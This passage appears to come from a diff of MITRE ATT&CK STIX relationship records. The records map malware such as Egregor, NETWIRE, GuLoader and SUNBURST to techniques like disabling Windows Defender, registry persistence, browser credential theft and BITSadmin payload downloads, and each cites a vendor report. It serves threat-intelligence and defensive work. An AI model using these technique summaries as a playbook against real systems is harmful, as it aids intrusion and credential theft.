"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--cc4c1287-9c86-4447-810c-744f3880ec37", + "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", + "external_references": [ + { + "source_name": "Intrinsec Egregor Nov 2020", + "url": "https://www.intrinsec.com/egregor-prolock/?cn-reloaded=1", + "description": "Bichet, J. (2020, November 12). Egregor \u2013 Prolock: Fraternal Twins ?. Retrieved January 6, 2021." + } + ], + "description": "[Egregor](https://attack.mitre.org/software/S0554) has masqueraded the svchost.exe process to exfiltrate data.(Citation: Intrinsec Egregor Nov 2020)", + "relationship_type": "uses", + "id": "relationship--6c6a8e6f-3340-4cd7-8abb-c39c408440f1", + "type": "relationship", + "modified": "2021-03-22T22:05:59.707Z", + "created": "2021-01-07T20:50:42.090Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--cc4c1287-9c86-4447-810c-744f3880ec37", + "target_ref": "attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7", + "external_references": [ + { + "source_name": "Intrinsec Egregor Nov 2020", + "url": "https://www.intrinsec.com/egregor-prolock/?cn-reloaded=1", + "description": "Bichet, J. (2020, November 12). Egregor \u2013 Prolock: Fraternal Twins ?. Retrieved January 6, 2021." + } + ], + "description": "[Egregor](https://attack.mitre.org/software/S0554) has used BITSadmin to download and execute malicious DLLs.(Citation: Intrinsec Egregor Nov 2020)", + "relationship_type": "uses", + "id": "relationship--35e66e21-edaf-46ed-8cec-32ba4ce92aa4", + "type": "relationship", + "modified": "2021-01-07T20:50:42.087Z", + "created": "2021-01-07T20:50:42.087Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--cc4c1287-9c86-4447-810c-744f3880ec37", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "external_references": [ + { + "source_name": "Intrinsec Egregor Nov 2020", + "url": "https://www.intrinsec.com/egregor-prolock/?cn-reloaded=1", + "description": "Bichet, J. (2020, November 12). Egregor \u2013 Prolock: Fraternal Twins ?. Retrieved January 6, 2021." + } + ], + "description": "[Egregor](https://attack.mitre.org/software/S0554) has used tools to gather information about users.(Citation: Intrinsec Egregor Nov 2020)", + "relationship_type": "uses", + "id": "relationship--830b40b0-ffc8-4847-8849-27b62c9e84b6", + "type": "relationship", + "modified": "2021-01-07T20:50:42.093Z", + "created": "2021-01-07T20:50:42.093Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--cc4c1287-9c86-4447-810c-744f3880ec37", + "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", + "external_references": [ + { + "source_name": "Intrinsec Egregor Nov 2020", + "url": "https://www.intrinsec.com/egregor-prolock/?cn-reloaded=1", + "description": "Bichet, J. (2020, November 12). Egregor \u2013 Prolock: Fraternal Twins ?. Retrieved January 6, 2021." + } + ], + "description": "[Egregor](https://attack.mitre.org/software/S0554) has used an encoded PowerShell command by a service created by [Cobalt Strike](https://attack.mitre.org/software/S0154) for lateral movement.(Citation: Intrinsec Egregor Nov 2020)", + "relationship_type": "uses", + "id": "relationship--eddcfbbf-9e82-4029-87fe-bf0f6bea0ba9", + "type": "relationship", + "modified": "2021-03-22T22:05:59.633Z", + "created": "2021-01-07T20:50:42.112Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--cc4c1287-9c86-4447-810c-744f3880ec37", + "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579", + "external_references": [ + { + "source_name": "Intrinsec Egregor Nov 2020", + "url": "https://www.intrinsec.com/egregor-prolock/?cn-reloaded=1", + "description": "Bichet, J. (2020, November 12). Egregor \u2013 Prolock: Fraternal Twins ?. Retrieved January 6, 2021." + } + ], + "description": "[Egregor](https://attack.mitre.org/software/S0554) has disabled Windows Defender to evade protections.(Citation: Intrinsec Egregor Nov 2020)", + "relationship_type": "uses", + "id": "relationship--b319dd46-3f98-421f-9312-1cd92df3ca02", + "type": "relationship", + "modified": "2021-01-07T20:50:42.128Z", + "created": "2021-01-07T20:50:42.128Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--2a70812b-f1ef-44db-8578-a496a227aef2", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "external_references": [ + { + "source_name": "FireEye NETWIRE March 2019", + "url": "https://www.fireeye.com/blog/threat-research/2019/03/dissecting-netwire-phishing-campaign-usage-of-process-hollowing.html", + "description": "Maniath, S. and Kadam P. (2019, March 19). Dissecting a NETWIRE Phishing Campaign's Usage of Process Hollowing. Retrieved January 7, 2021." + }, + { + "source_name": "Proofpoint NETWIRE December 2020", + "url": "https://www.proofpoint.com/us/blog/threat-insight/geofenced-netwire-campaigns", + "description": "Proofpoint. (2020, December 2). Geofenced NetWire Campaigns. Retrieved January 7, 2021." + } + ], + "description": "[NETWIRE](https://attack.mitre.org/software/S0198) can downloaded payloads from C2 to the compromised host.(Citation: FireEye NETWIRE March 2019)(Citation: Proofpoint NETWIRE December 2020)", + "relationship_type": "uses", + "id": "relationship--f4ea1985-0e88-488d-b7ed-ac294719738a", + "type": "relationship", + "modified": "2021-01-12T18:29:41.729Z", + "created": "2021-01-07T20:53:11.172Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--2a70812b-f1ef-44db-8578-a496a227aef2", + "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", + "external_references": [ + { + "source_name": "FireEye NETWIRE March 2019", + "url": "https://www.fireeye.com/blog/threat-research/2019/03/dissecting-netwire-phishing-campaign-usage-of-process-hollowing.html", + "description": "Maniath, S. and Kadam P. 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Retrieved January 7, 2021." + } + ], + "description": "[NETWIRE](https://attack.mitre.org/software/S0198) can create a scheduled task to establish persistence.(Citation: FireEye NETWIRE March 2019)", + "relationship_type": "uses", + "id": "relationship--c55f4782-5303-4ef2-9f5f-49dbe15c138e", + "type": "relationship", + "modified": "2021-01-07T20:53:11.211Z", + "created": "2021-01-07T20:53:11.210Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--2a70812b-f1ef-44db-8578-a496a227aef2", + "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", + "external_references": [ + { + "source_name": "FireEye NETWIRE March 2019", + "url": "https://www.fireeye.com/blog/threat-research/2019/03/dissecting-netwire-phishing-campaign-usage-of-process-hollowing.html", + "description": "Maniath, S. and Kadam P. (2019, March 19). Dissecting a NETWIRE Phishing Campaign's Usage of Process Hollowing. Retrieved January 7, 2021." + } + ], + "description": "[NETWIRE](https://attack.mitre.org/software/S0198) can use Native API including CreateProcess GetProcessById, and WriteProcessMemory.(Citation: FireEye NETWIRE March 2019)", + "relationship_type": "uses", + "id": "relationship--c2bfefa1-ccd3-4d8d-82d1-275507546de0", + "type": "relationship", + "modified": "2021-04-20T15:45:37.342Z", + "created": "2021-01-07T21:09:51.828Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--2a70812b-f1ef-44db-8578-a496a227aef2", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "external_references": [ + { + "source_name": "FireEye NETWIRE March 2019", + "url": "https://www.fireeye.com/blog/threat-research/2019/03/dissecting-netwire-phishing-campaign-usage-of-process-hollowing.html", + "description": "Maniath, S. and Kadam P. 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Retrieved January 7, 2021." + } + ], + "description": "[NETWIRE](https://attack.mitre.org/software/S0198) can discover processes on compromised hosts.(Citation: FireEye NETWIRE March 2019)", + "relationship_type": "uses", + "id": "relationship--70346bf0-ce5e-46a0-8e0f-dd757afec050", + "type": "relationship", + "modified": "2021-04-20T15:49:58.115Z", + "created": "2021-01-07T21:24:17.270Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--2a70812b-f1ef-44db-8578-a496a227aef2", + "target_ref": "attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b", + "external_references": [ + { + "source_name": "FireEye NETWIRE March 2019", + "url": "https://www.fireeye.com/blog/threat-research/2019/03/dissecting-netwire-phishing-campaign-usage-of-process-hollowing.html", + "description": "Maniath, S. and Kadam P. (2019, March 19). Dissecting a NETWIRE Phishing Campaign's Usage of Process Hollowing. Retrieved January 7, 2021." + } + ], + "description": "[NETWIRE](https://attack.mitre.org/software/S0198) has used a custom encryption algorithm to encrypt collected data.(Citation: FireEye NETWIRE March 2019)", + "relationship_type": "uses", + "id": "relationship--33eb3d03-426d-4410-b028-3528b3fefe5c", + "type": "relationship", + "modified": "2021-01-08T18:46:53.943Z", + "created": "2021-01-08T18:46:53.943Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--2a70812b-f1ef-44db-8578-a496a227aef2", + "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", + "external_references": [ + { + "source_name": "FireEye NETWIRE March 2019", + "url": "https://www.fireeye.com/blog/threat-research/2019/03/dissecting-netwire-phishing-campaign-usage-of-process-hollowing.html", + "description": "Maniath, S. and Kadam P. (2019, March 19). Dissecting a NETWIRE Phishing Campaign's Usage of Process Hollowing. Retrieved January 7, 2021." + } + ], + "description": "[NETWIRE](https://attack.mitre.org/software/S0198) has the ability to write collected data to a file created in the ./LOGS directory.(Citation: FireEye NETWIRE March 2019)", + "relationship_type": "uses", + "id": "relationship--e5562f3f-9657-49e8-8243-b5aff51e18a4", + "type": "relationship", + "modified": "2021-01-08T18:49:43.275Z", + "created": "2021-01-08T18:49:43.275Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--2a70812b-f1ef-44db-8578-a496a227aef2", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", + "external_references": [ + { + "source_name": "FireEye NETWIRE March 2019", + "url": "https://www.fireeye.com/blog/threat-research/2019/03/dissecting-netwire-phishing-campaign-usage-of-process-hollowing.html", + "description": "Maniath, S. and Kadam P. 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Retrieved January 7, 2021." + } + ], + "description": "[NETWIRE](https://attack.mitre.org/software/S0198) can capture session logon details from a compromised host.(Citation: FireEye NETWIRE March 2019)", + "relationship_type": "uses", + "id": "relationship--7e62327c-aa58-4ce9-8519-c4bedbd57b80", + "type": "relationship", + "modified": "2021-01-08T20:34:27.150Z", + "created": "2021-01-08T20:34:27.150Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--2a70812b-f1ef-44db-8578-a496a227aef2", + "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", + "external_references": [ + { + "source_name": "FireEye NETWIRE March 2019", + "url": "https://www.fireeye.com/blog/threat-research/2019/03/dissecting-netwire-phishing-campaign-usage-of-process-hollowing.html", + "description": "Maniath, S. and Kadam P. (2019, March 19). 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Retrieved January 7, 2021." + } + ], + "description": "[NETWIRE](https://attack.mitre.org/software/S0198) has the ability to steal credentials from web browsers including Internet Explorer, Opera, Yandex, and Chrome.(Citation: FireEye NETWIRE March 2019)(Citation: Red Canary NETWIRE January 2020)(Citation: Proofpoint NETWIRE December 2020)", + "relationship_type": "uses", + "id": "relationship--8f58a6f1-f95b-4f38-8347-995880aa6029", + "type": "relationship", + "modified": "2021-01-12T18:38:41.576Z", + "created": "2021-01-08T20:43:41.722Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--2a70812b-f1ef-44db-8578-a496a227aef2", + "target_ref": "attack-pattern--b8902400-e6c5-4ba2-95aa-2d35b442b118", + "external_references": [ + { + "source_name": "Red Canary NETWIRE January 2020", + "url": "https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/", + "description": "Lambert, T. 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Retrieved January 7, 2021." + } + ], + "description": "[NETWIRE](https://attack.mitre.org/software/S0198) can implement use of proxies to pivot traffic.(Citation: Red Canary NETWIRE January 2020)", + "relationship_type": "uses", + "id": "relationship--060a6b38-18fb-46ac-97c1-b1c40d493b6c", + "type": "relationship", + "modified": "2021-04-20T15:52:05.764Z", + "created": "2021-01-08T21:10:43.694Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--2a70812b-f1ef-44db-8578-a496a227aef2", + "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "external_references": [ + { + "source_name": "Red Canary NETWIRE January 2020", + "url": "https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/", + "description": "Lambert, T. (2020, January 29). Intro to Netwire. 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Retrieved January 7, 2021." + } + ], + "description": "[NETWIRE](https://attack.mitre.org/software/S0198) can use TCP in C2 communications.(Citation: Red Canary NETWIRE January 2020)(Citation: Unit 42 NETWIRE April 2020)", + "relationship_type": "uses", + "id": "relationship--eaf4c445-8af9-48b7-9971-01a371145fde", + "type": "relationship", + "modified": "2021-01-11T21:22:09.780Z", + "created": "2021-01-08T21:23:21.247Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--2a70812b-f1ef-44db-8578-a496a227aef2", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "external_references": [ + { + "source_name": "Red Canary NETWIRE January 2020", + "url": "https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/", + "description": "Lambert, T. (2020, January 29). Intro to Netwire. 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Retrieved January 4, 2021." + } + ], + "description": "[SUNBURST](https://attack.mitre.org/software/S0559) encrypted C2 traffic using a single-byte-XOR cipher.(Citation: FireEye SUNBURST Backdoor December 2020)", + "relationship_type": "uses", + "id": "relationship--28b3fb26-c7f8-481d-8424-895953bfb492", + "type": "relationship", + "modified": "2021-01-14T16:42:49.839Z", + "created": "2021-01-10T17:15:22.974Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--32f49626-87f4-4d6c-8f59-a0dca953fe26", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "external_references": [ + { + "source_name": "Check Point Sunburst Teardrop December 2020", + "url": "https://research.checkpoint.com/2020/sunburst-teardrop-and-the-netsec-new-normal/", + "description": "Check Point Research. (2020, December 22). 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Retrieved January 7, 2021." + } + ], + "description": "[NETWIRE](https://attack.mitre.org/software/S0198) can retrieve passwords from messaging and mail client applications.(Citation: Red Canary NETWIRE January 2020)", + "relationship_type": "uses", + "id": "relationship--99ef9825-e901-49fc-8d87-668ff60b52dc", + "type": "relationship", + "modified": "2021-01-11T19:41:29.362Z", + "created": "2021-01-11T19:41:29.362Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--2a70812b-f1ef-44db-8578-a496a227aef2", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "external_references": [ + { + "source_name": "Red Canary NETWIRE January 2020", + "url": "https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/", + "description": "Lambert, T. (2020, January 29). Intro to Netwire. Retrieved January 7, 2021." + } + ], + "description": "[NETWIRE](https://attack.mitre.org/software/S0198) stores its configuration file within the Registry.(Citation: Red Canary NETWIRE January 2020)", + "relationship_type": "uses", + "id": "relationship--e0c53a14-01d3-42f6-9dea-6cb60ac72025", + "type": "relationship", + "modified": "2021-01-11T19:46:57.204Z", + "created": "2021-01-11T19:46:57.204Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--2a70812b-f1ef-44db-8578-a496a227aef2", + "target_ref": "attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584", + "external_references": [ + { + "source_name": "Red Canary NETWIRE January 2020", + "url": "https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/", + "description": "Lambert, T. (2020, January 29). Intro to Netwire. Retrieved January 7, 2021." + } + ], + "description": "[NETWIRE](https://attack.mitre.org/software/S0198) can use launch agents for persistence.(Citation: Red Canary NETWIRE January 2020)", + "relationship_type": "uses", + "id": "relationship--eeae0ab0-541c-401f-aa7c-af674bacdc6c", + "type": "relationship", + "modified": "2021-01-11T20:00:58.324Z", + "created": "2021-01-11T20:00:58.324Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--2a70812b-f1ef-44db-8578-a496a227aef2", + "target_ref": "attack-pattern--6747daa2-3533-4e78-8fb8-446ebb86448a", + "external_references": [ + { + "source_name": "Red Canary NETWIRE January 2020", + "url": "https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/", + "description": "Lambert, T. (2020, January 29). Intro to Netwire. Retrieved January 7, 2021." + } + ], + "description": "[NETWIRE](https://attack.mitre.org/software/S0198) can persist via startup options for Login items.(Citation: Red Canary NETWIRE January 2020)", + "relationship_type": "uses", + "id": "relationship--98025811-58b2-4321-8591-a6c3abaab04d", + "type": "relationship", + "modified": "2021-01-11T20:05:49.505Z", + "created": "2021-01-11T20:05:49.505Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--45c759ac-b490-48bb-80d4-c8eee3431027", + "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7", + "external_references": [ + { + "source_name": "Unit 42 NETWIRE April 2020", + "url": "https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/", + "description": "Duncan, B. (2020, April 3). GuLoader: Malspam Campaign Installing NetWire RAT. Retrieved January 7, 2021." + } + ], + "description": "[GuLoader](https://attack.mitre.org/software/S0561) has been spread in phishing campaigns using malicious web links.(Citation: Unit 42 NETWIRE April 2020)", + "relationship_type": "uses", + "id": "relationship--148f4700-9a24-4729-af76-5ff9eafb997c", + "type": "relationship", + "modified": "2021-01-11T20:55:32.817Z", + "created": "2021-01-11T20:55:32.817Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--45c759ac-b490-48bb-80d4-c8eee3431027", + "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", + "external_references": [ + { + "source_name": "Unit 42 NETWIRE April 2020", + "url": "https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/", + "description": "Duncan, B. (2020, April 3). GuLoader: Malspam Campaign Installing NetWire RAT. Retrieved January 7, 2021." + } + ], + "description": "The [GuLoader](https://attack.mitre.org/software/S0561) executable has been retrieved via embedded macros in malicious Word documents.(Citation: Unit 42 NETWIRE April 2020)", + "relationship_type": "uses", + "id": "relationship--fa777c92-0431-4916-9527-4077e8b10559", + "type": "relationship", + "modified": "2021-01-11T21:10:11.153Z", + "created": "2021-01-11T20:55:32.831Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--45c759ac-b490-48bb-80d4-c8eee3431027", + "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "external_references": [ + { + "source_name": "Unit 42 NETWIRE April 2020", + "url": "https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/", + "description": "Duncan, B. (2020, April 3). GuLoader: Malspam Campaign Installing NetWire RAT. Retrieved January 7, 2021." + } + ], + "description": "[GuLoader](https://attack.mitre.org/software/S0561) can delete its executable from the AppData\\Local\\Temp directory on the compromised host.(Citation: Unit 42 NETWIRE April 2020)", + "relationship_type": "uses", + "id": "relationship--8479b281-c987-4b73-b85e-3f69fa024b4c", + "type": "relationship", + "modified": "2021-01-11T21:10:11.149Z", + "created": "2021-01-11T21:01:01.796Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--45c759ac-b490-48bb-80d4-c8eee3431027", + "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", + "external_references": [ + { + "source_name": "Unit 42 NETWIRE April 2020", + "url": "https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/", + "description": "Duncan, B. (2020, April 3). GuLoader: Malspam Campaign Installing NetWire RAT. Retrieved January 7, 2021." + } + ], + "description": "[GuLoader](https://attack.mitre.org/software/S0561) can use HTTP to retrieve additional binaries.(Citation: Unit 42 NETWIRE April 2020)", + "relationship_type": "uses", + "id": "relationship--b65a3c77-5be9-4ccc-a995-029086cb53c4", + "type": "relationship", + "modified": "2021-04-20T16:00:19.421Z", + "created": "2021-01-11T21:01:01.809Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--45c759ac-b490-48bb-80d4-c8eee3431027", + "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", + "external_references": [ + { + "source_name": "Unit 42 NETWIRE April 2020", + "url": "https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/", + "description": "Duncan, B. (2020, April 3). GuLoader: Malspam Campaign Installing NetWire RAT. Retrieved January 7, 2021." + } + ], + "description": "[GuLoader](https://attack.mitre.org/software/S0561) can establish persistence via the Registry under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce.(Citation: Unit 42 NETWIRE April 2020)", + "relationship_type": "uses", + "id": "relationship--d02d208e-2b9a-4613-bc89-df3953ad9576", + "type": "relationship", + "modified": "2021-01-11T21:08:24.809Z", + "created": "2021-01-11T21:08:24.809Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--2a70812b-f1ef-44db-8578-a496a227aef2", + "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9", + "external_references": [ + { + "source_name": "FireEye NETWIRE March 2019", + "url": "https://www.fireeye.com/blog/threat-research/2019/03/dissecting-netwire-phishing-campaign-usage-of-process-hollowing.html", + "description": "Maniath, S. and Kadam P. (2019, March 19). Dissecting a NETWIRE Phishing Campaign's Usage of Process Hollowing. Retrieved January 7, 2021." + }, + { + "source_name": "Unit 42 NETWIRE April 2020", + "url": "https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/", + "description": "Duncan, B. (2020, April 3). GuLoader: Malspam Campaign Installing NetWire RAT. Retrieved January 7, 2021." + } + ], + "description": "[NETWIRE](https://attack.mitre.org/software/S0198) has been executed through convincing victims into clicking malicious links.(Citation: FireEye NETWIRE March 2019)(Citation: Unit 42 NETWIRE April 2020)", + "relationship_type": "uses", + "id": "relationship--393317c3-7dd7-487c-a2cb-81dfe4333ea3", + "type": "relationship", + "modified": "2021-01-11T21:20:36.247Z", + "created": "2021-01-11T21:20:36.247Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--2a70812b-f1ef-44db-8578-a496a227aef2", + "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7", + "external_references": [ + { + "source_name": "Unit 42 NETWIRE April 2020", + "url": "https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/", + "description": "Duncan, B. (2020, April 3). GuLoader: Malspam Campaign Installing NetWire RAT. Retrieved January 7, 2021." + } + ], + "description": "[NETWIRE](https://attack.mitre.org/software/S0198) has been spread via e-mail campaigns utilizing malicious links.(Citation: Unit 42 NETWIRE April 2020)", + "relationship_type": "uses", + "id": "relationship--95b0d9c3-e905-468c-8498-6550f2130826", + "type": "relationship", + "modified": "2021-01-11T21:20:36.312Z", + "created": "2021-01-11T21:20:36.311Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--2a70812b-f1ef-44db-8578-a496a227aef2", + "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", + "external_references": [ + { + "source_name": "Unit 42 NETWIRE April 2020", + "url": "https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/", + "description": "Duncan, B. (2020, April 3). GuLoader: Malspam Campaign Installing NetWire RAT. Retrieved January 7, 2021." + }, + { + "source_name": "Proofpoint NETWIRE December 2020", + "url": "https://www.proofpoint.com/us/blog/threat-insight/geofenced-netwire-campaigns", + "description": "Proofpoint. (2020, December 2). Geofenced NetWire Campaigns. Retrieved January 7, 2021." + } + ], + "description": "[NETWIRE](https://attack.mitre.org/software/S0198) has been spread via e-mail campaigns utilizing malicious attachments.(Citation: Unit 42 NETWIRE April 2020)(Citation: Proofpoint NETWIRE December 2020)", + "relationship_type": "uses", + "id": "relationship--e4d36f81-8028-4eae-8bc2-d856296afb46", + "type": "relationship", + "modified": "2021-01-12T18:29:42.035Z", + "created": "2021-01-11T21:20:36.317Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--2a70812b-f1ef-44db-8578-a496a227aef2", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "external_references": [ + { + "source_name": "Proofpoint NETWIRE December 2020", + "url": "https://www.proofpoint.com/us/blog/threat-insight/geofenced-netwire-campaigns", + "description": "Proofpoint. (2020, December 2). Geofenced NetWire Campaigns. Retrieved January 7, 2021." + } + ], + "description": "[NETWIRE](https://attack.mitre.org/software/S0198) has the ability to search for files on the compromised host.(Citation: Proofpoint NETWIRE December 2020)", + "relationship_type": "uses", + "id": "relationship--6c320415-f45c-438a-9671-c4c831ebd7fc", + "type": "relationship", + "modified": "2021-01-12T18:38:41.015Z", + "created": "2021-01-12T18:38:41.015Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "target_ref": "attack-pattern--f303a39a-6255-4b89-aecc-18c4d8ca7163", + "external_references": [ + { + "source_name": "Microsoft 365 Defender Solorigate", + "url": "https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/", + "description": "Microsoft 365 Defender Team. (2020, December 28). Using Microsoft 365 Defender to protect against Solorigate. Retrieved January 7, 2021." + }, + { + "source_name": "Microsoft Deep Dive Solorigate January 2021", + "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "description": "MSTIC, CDOC, 365 